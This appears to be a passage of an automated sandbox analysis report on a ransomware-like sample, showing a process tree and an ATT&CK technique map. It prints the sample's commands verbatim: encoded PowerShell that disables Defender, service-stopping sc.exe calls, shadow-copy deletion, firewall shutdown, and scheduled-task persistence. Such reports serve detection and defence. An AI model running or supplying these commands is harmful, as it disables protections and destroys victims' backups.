PID 5228 wrote to memory of 2624	5228	pyramidpad.io_chrome.exe	115
PID 6320 wrote to memory of 5644	6320	chrome.exe	117
PID 6320 wrote to memory of 5644	6320	chrome.exe	117
PID 5228 wrote to memory of 5604	5228	pyramidpad.io_chrome.exe	118
PID 5228 wrote to memory of 6548	5228	pyramidpad.io_chrome.exe	119
PID 5228 wrote to memory of 6232	5228	pyramidpad.io_chrome.exe	161
PID 5604 wrote to memory of 6868	5604	fodhelper.exe	123
PID 5228 wrote to memory of 4352	5228	pyramidpad.io_chrome.exe	124
PID 5228 wrote to memory of 1224	5228	pyramidpad.io_chrome.exe	126
PID 5228 wrote to memory of 6140	5228	pyramidpad.io_chrome.exe	133
PID 5228 wrote to memory of 4392	5228	pyramidpad.io_chrome.exe	134
PID 5228 wrote to memory of 4848	5228	pyramidpad.io_chrome.exe	136
PID 5228 wrote to memory of 5820	5228	pyramidpad.io_chrome.exe	141
PID 5228 wrote to memory of 1796	5228	pyramidpad.io_chrome.exe	143
PID 5228 wrote to memory of 6704	5228	pyramidpad.io_chrome.exe	144
PID 5228 wrote to memory of 1316	5228	pyramidpad.io_chrome.exe	145
PID 5228 wrote to memory of 3136	5228	pyramidpad.io_chrome.exe	146
PID 5228 wrote to memory of 5376	5228	pyramidpad.io_chrome.exe	147
PID 5228 wrote to memory of 1280	5228	pyramidpad.io_chrome.exe	148
PID 5228 wrote to memory of 4780	5228	pyramidpad.io_chrome.exe	150
PID 5228 wrote to memory of 5632	5228	pyramidpad.io_chrome.exe	149
PID 5228 wrote to memory of 5364	5228	pyramidpad.io_chrome.exe	154
PID 5820 wrote to memory of 1412	5820	cmd.exe	159
PID 1316 wrote to memory of 2652	1316	cmd.exe	160
PID 5376 wrote to memory of 6232	5376	cmd.exe	161
PID 1280 wrote to memory of 2696	1280	cmd.exe	162
PID 1796 wrote to memory of 1500	1796	cmd.exe	163
PID 3136 wrote to memory of 4136	3136	cmd.exe	164
PID 6704 wrote to memory of 3008	6704	cmd.exe	165
PID 4136 wrote to memory of 6872	4136	net.exe	166
PID 5228 wrote to memory of 828	5228	pyramidpad.io_chrome.exe	167
PID 5228 wrote to memory of 1940	5228	pyramidpad.io_chrome.exe	168
PID 5228 wrote to memory of 4996	5228	pyramidpad.io_chrome.exe	169
PID 5228 wrote to memory of 1932	5228	pyramidpad.io_chrome.exe	170
PID 5228 wrote to memory of 1104	5228	pyramidpad.io_chrome.exe	173
PID 5228 wrote to memory of 6016	5228	pyramidpad.io_chrome.exe	174
PID 5820 wrote to memory of 4888	5820	cmd.exe	179
PID 4996 wrote to memory of 5304	4996	net.exe	180
PID 6320 wrote to memory of 2076	6320	chrome.exe	181
PID 6320 wrote to memory of 4076	6320	chrome.exe	182
PID 6320 wrote to memory of 4076	6320	chrome.exe	182
PID 6320 wrote to memory of 5596	6320	chrome.exe	183
PID 6320 wrote to memory of 5596	6320	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://pyramidpad.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:6320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff937bcc728,0x7ff937bcc734,0x7ff937bcc740
    3⤵
    PID:6496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1620,i,7115800598609922175,15345189783659477286,262144 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=1892 /prefetch:2
    3⤵
    PID:6212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,4062417807600683082,2462839201572377843,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=2100 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3324
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2196,i,7930198436570982022,7960590199391258293,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:13
    3⤵
    PID:1176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2936,i,5149741700953979865,9425536026681552710,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:6932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2964,i,9910935621449029996,13917053086732750676,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:1
    3⤵
    PID:1208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4648,i,12239867734724978521,6327645240309410092,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
    3⤵
    PID:4560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4872,i,11280096773814098439,14425957909680707221,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:1
    3⤵
    PID:5644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5388,i,12088883315895408787,11262423623696825619,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:14
    3⤵
    PID:2076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5480,i,18188786837357549901,16410296895925004195,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
    3⤵
    PID:4076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5496,i,8053142029800333903,13753939477446789630,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:1
    3⤵
    PID:5596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5796,i,13944195179523778869,15402363970244759307,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:1
    3⤵
    PID:3472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5480,i,14606567802795686236,11777774336927152563,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
    3⤵
    PID:7040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5488,i,15634656836711001455,9165095576888965910,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:1
    3⤵
    PID:1208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6004,i,928740859684005221,15859833147034105747,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:1
    3⤵
    PID:6680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6208,i,14430447237119202044,7273794314938332918,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
    3⤵
    PID:2868
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6000,i,4560000273906013797,2486591415811638634,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:1
    3⤵
    PID:6792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5840,i,18182361522081303585,9938789460630213888,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:1
    3⤵
    PID:556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,16030069628907231669,17391083208277536367,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
    3⤵
    PID:5100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4872,i,948909853776105428,6691216601974606373,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:14
    3⤵
    PID:6276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5588,i,2984557745262032697,2570825752937909405,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:1
    3⤵
    PID:4344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=3460,i,9771825331994703436,6849850502543239256,2097152 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:9
    3⤵
    PID:2552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5792,i,15623848547405156005,15261579427942378311,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:14
    3⤵
    PID:848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3044,i,2081988538888714773,8831752715427442261,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:14
    3⤵
    PID:2848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3472,i,9255857889793579810,5068225670377647496,524288 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:14
    3⤵
    PID:3764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4904,i,8983533451062079897,11247119254311276174,262144 --field-trial-handle=1896,i,1050847016324973722,15493265292558129229,262144 --variations-seed-version --mojo-platform-channel-handle=900 /prefetch:10
    3⤵
    PID:6584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6192
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4136
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:6728
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:6000
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2304
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2624
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5604
- - C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe"
    3⤵
    PID:6868
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6548
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6232
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4352
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1224
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6140
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4392
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5820
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1412
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4888
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1500
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6704
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1316
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4136
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:6872
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5376
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:6232
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2696
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5632
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4780
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5364
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:828
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1940
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5304
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1932
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:6016

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2780

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2168

C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
1⤵
PID:2092

C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pyramidpad.io_chrome.exe
1⤵
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery